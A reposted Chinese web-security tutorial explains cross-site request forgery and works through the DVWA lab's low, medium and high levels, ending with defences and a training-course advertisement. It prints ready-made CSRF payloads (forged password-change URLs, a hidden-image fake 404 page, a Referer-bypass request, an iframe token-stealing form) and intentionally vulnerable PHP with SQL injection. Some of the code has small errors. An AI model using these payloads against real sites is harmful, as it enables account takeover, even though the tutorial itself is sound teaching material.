10分钟浅谈CSRF突破原理,Web安全的第一防线!
Posted i春秋
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了10分钟浅谈CSRF突破原理,Web安全的第一防线!相关的知识,希望对你有一定的参考价值。
CSRF攻击即跨站请求伪造( cross site request forgery),是一种对网站的恶意利用,听起来似乎与XSS跨站脚本攻击有点相似,但其实两者相差很大,XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。
你可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求。CRSF能做的事情包括利用你的身份发邮件、发短信、进行交易转账等,甚至盗取你的账号。
那么,今天 i 春秋向小伙伴介绍一下CSRF突破原理的相关内容,希望对大家学习Web安全有所帮助。文章阅读约15分钟,一定要看完哦,文末内容更精彩~
CSRF攻击原理
当我们打开或登录某个网站后,浏览器与网站所存放的服务器将会产生一个会话,在会话结束前,用户就可以利用具有其网站权限对网站进行操作,如:发表文章,发送邮件,会话结束后,在进行权限操作,网站就会知道会话超期或重新登录。
当登录网站后,浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求,都被认为是可信的行为,例如转账,汇款等操作。认证的时间过长或者自主结束重叠,必须重新建立经过认证的可信安全的会话。
CSRF攻击是建立在会话之上。例如:登录了网上银行,分裂转换账业务,这是攻击者给你发来一个URL,这个URL是攻击者精心构造的有效载荷,攻击者精心构造的转账业务代码,而且与你登录的是同一家银行,当你认为这是安全的链接后点击进去,你的钱就没了!
例如想给用户xxser转账1000元,正常的URL是:
secbug.org/pay.jsp?user=xxser&money=1000
而攻击者构造的URL则是:
secbug.org/pay.jsp?user=hack&money=10000
CSRF突破利用
CSRF进攻常常被用来制造蠕虫攻击,SEO流量等。
分析防御代码
获取GET参数用户名和密码,然后通过选择语句查询是否存在对应的用户,如果存在通过$ _SESSION设置一个会话:isadmin = admin,否则设置会话:isadmin = guest
判断会话中的isadmin是否为admin,如果isadmin!= admin说明用户没有登录,那么切换到登录页面,只有在管理员登录后才可以执行用户的操作。
获取POST参数用户名和密码然后插入用户表中,完成添加用户的操作。
<?php
session_start();
if (isset($_GET['login'])) {
$con=mysqli_connect("127.0.0.1","root","123456","test");
if (mysql_connect_errno()) {
echo "连接失败".mysql_connect_errno();
}
$username = addslashes($_GET['username']);
$password = $_GET['password'];
$result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");
$row = mysqli_fetch_array($result);
if($row){
$_SESSION['isadmin'] = 'admin';
exit("登录成功");
} else{
$_SESSION['isadmin'] = 'guest';
exit("登录失败");
}
} else{
$_SESSION['isadmin'] = 'guest';
}
if($_SESSION['isadmin'] != 'admin'){
exit("请登录……");
}
if(isset($_POST['submit'])){
if (isset($_POST['username'])) {
$result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");
exit($_POST['username']."添加成功");
}
}
?>
这是后台php源码。
攻击者需要做的就是构造一个请求,请求的URL就是php文件的URL,参数是submit=1&username=1&password=1,请求payload会自动的利用原始码的特性添加一个用户:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>CSRF漏洞实践</title>
</head>
<body>
<script type="text/javascript">
var pauses = new Array("16");
var methods = new Array("POST");
var urls = new Array("isadmin.php");
var params = new Array("submit=1&username=1&password=1");
function pausecomp(millis){
var date = new Date();
var curDate = null ;
do{
curDate = new Date();
}while(curDate-date<millis);
}
function run(){
var count = 1 ;
var i = 0 ;
for( i=0 ; i < count ; i ++){
makeXHR(methods[i],urls[i],params[i]);
pausecomp(pausecomp[i]);
}
}
var http_request = false ;
function makeXHR(method , url , paramters){
http_request = false ;
if(window.XMLHttpRequest){
http_request = new XMLHttpRequest() ;
if(http_request.overrideMinmeType){
http_request.overrideMinmeType('text/html');
}
} else if(window.ActiveXObject){
try{
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e){
try{
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e){ }
}
}
if(!http_request){
alert('Cannot create XMLHTTP instance');
return false;
}
if(method == 'GET'){
if(url.indexOf('?') == -1){
url = url + '?' + paramters;
} else{
url = url + '&' + paramters;
}
http_request.open(method,url,true);
http_request.send("");
} else if(method == 'POST'){
http_request.open(method,url,true);
http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");
http_request.setRequestHeader("Content-length",paramters.length);
http_request.setRequestHeader("Connection","close");
http_request.send(paramters);
}
}
</script>
</body>
</html>
DVWA平台CSRF
没有找到比较好的原始文件,于是找到了DVWA。
low
前端源码
<h3>Change your admin password:</h3>
<br>
<form action="#" method="GET">
New password:<br>
<input autocomplete="off" name="password_new" type="password"><br>
Confirm new password:<br>
<input autocomplete="off" name="password_conf" type="password"><br>
<br>
<input value="Change" name="Change" type="submit">
</form>
前端源码非常的简单,是一个修改密码的CSRF,表单采用GET方式Change提交。
后端源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看见后端接收数据后会验证两次密码是否重复,然后修改密码。
构造有效Payload
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
我们将Payload发送给受害者,受害者处于会话保持(登录状态)中,受害者一旦点击该URL链接,就意味着受害者执行了同样的操作,这个过程就是CSRF。
笔者位于的DVWA使用的登录密码,被替换为“ 123456”。
重点
这里的攻击成立是利用受害者的Cookie向服务器发送伪造请求(Payload),如果用户使用的是一个与xxser.com保持会话登录的浏览器单击Payload-URL,受害者的密码就会发生更改。
现如今,人们的安全意识普遍增高,我们可以采用短链接这种方式来进行优化,例如百度,新浪的短链接均可,为了减少图片内容,密码修改后的页面会有提示。
高明的做法(从一位前辈copy过来的)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Payload</title>
</head>
<body>
<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">
<h1>404</h1>
<h2>file not found.</h2>
</body>
</html>
页面的作用是加载一个伪404的页面,实际上一旦访问该页面,就会加载图片,所谓加载图片就是加载src属性,而src属性则为Payload-URL,实际的行为就是加载该html页面的同时图片会加载,也就执行了Payload。
middle
后端源码(添加了http_referer头的验证)
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// HTTP_REFERER :查询当前页的前一页的地址信息
// SERVER_NAME :获取域名
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// stripos() :查字符第一次出现的位置,
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
合法的http数据包:
GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/
Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
留意第2行,第8行。
分析绕过
如果我们依旧按照建立一个伪造的攻击页面,stripos()头验证就会验证,而页面并非来自DVWA,于是深挖stripos()函数的扩展,发现函数会多次匹配,于是思路就是建立一个假的文件名,通过一个伪造的文件名,绕过stripos()的验证。
Payload
GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/127.0.0.1.html
Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
这里注意:我们将Payload命名为“ 127.0.0.1.html”
high
后端源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// 加入 Anti-CSRF token机制
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
加入 Anti-CSRF Token机制,用户访问改密页面时,服务器返回token,只有用户提交token参数才可以进行改密行为。
分析绕过
我们构造Payload页面的时候,就需要考虑到执行改密行为必须向服务器发送token,而token只有在改密页面才可以获得;
根据前辈的思路:利用受害者的cookie去改密页面获取token。
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body οnlοad="attack()">
<form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
攻击提示是当受害者点击进入该页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
由于跨域是不能实现的,所以我们将攻击代码注入到目标服务器169.254.36.73中,才有可能完成攻击。下面利用高级XSS入侵协助获Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)
这里的名称存在XSS漏洞,于是抓包,改参数,成功删除token链接。
通过DVWA平台的CSRF实例,简单的总结了CSRF的特性和应对措施:
CSRF应对措施
从DVWA的测试中总结:在不可能的等级的原始码中,利用了PDO技术防御SQL注入,CSRF方面则要求用户原始密码;攻击者在不知道原始密码的情况下是无法进行CSRF的!
CSRF防御手段
使用POST,限制GET
GET方式最容易受到CSRF攻击,只要简单的构造有效载荷就可能导致CSRF;使用POST可以大程度的减低CSRF显示率
浏览器Cookie策略
老浏览器会拦截第三方本地Cookie的发送,而新浏览器则不会拦截发送;
添加验证码
简单粗暴还有效;可以大程度的增加人机交互的过程,避免用户被悄悄的偷袭
Referer Check
检查请求是否来自于合法的源
Anti CSRF Token
token的值必须是随机的,不可预测的。由于token的存在,攻击者无法再构造一个带有合法token的请求实施CSRF攻击。另外使用token时应注意其保密性,尽量把敏感操作由GET改写POST,以form或AJAX形式提交,避免token替换。
总结
CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常使用反CSRF token来防御CSRF攻击,同时要注意token的保密性和随机性。
文章素材来源于i春秋社区
以上是今天分享的内容,大家学会了吗?其实Web安全除了CSRF,还包括SQL 注入、XSS等众多知识点,繁杂且不成体系,若想要深入学习Web安全攻防内容,一定要从基础抓起:
快速了解课程
入门班专为对Web安全技术感兴趣的相关专业学生、信息安全爱好者、开发人员而设计。
现已开设50+期,课程经过反复打磨,已成为菜鸟入门Web安全必不可少的课程,无论培训内容、课程特色,还是课后答疑,都非常适合新手小白。
线上入门班优势:学习时间灵活,短时间内可快速提升技能。
想了解更多课程内容,欢迎大家前来咨询,我们会有更专业的老师为你讲解,给你答疑解惑。
咨询快速入口
渗透测试工程师就业班(北京)
火热报名中
包就业、保薪资、返学费
快速报名通道
谢老师 18513200565(微信同步)
曹老师 15313088816(微信同步)
猜你喜欢
文末右下角点个“在看”再走哦~
前沿的网络安全技术
简单易懂的实用工具
紧张刺激的安全竞赛
还有网络安全大讲堂
更多技能等你来解锁
以上是关于10分钟浅谈CSRF突破原理,Web安全的第一防线!的主要内容,如果未能解决你的问题,请参考以下文章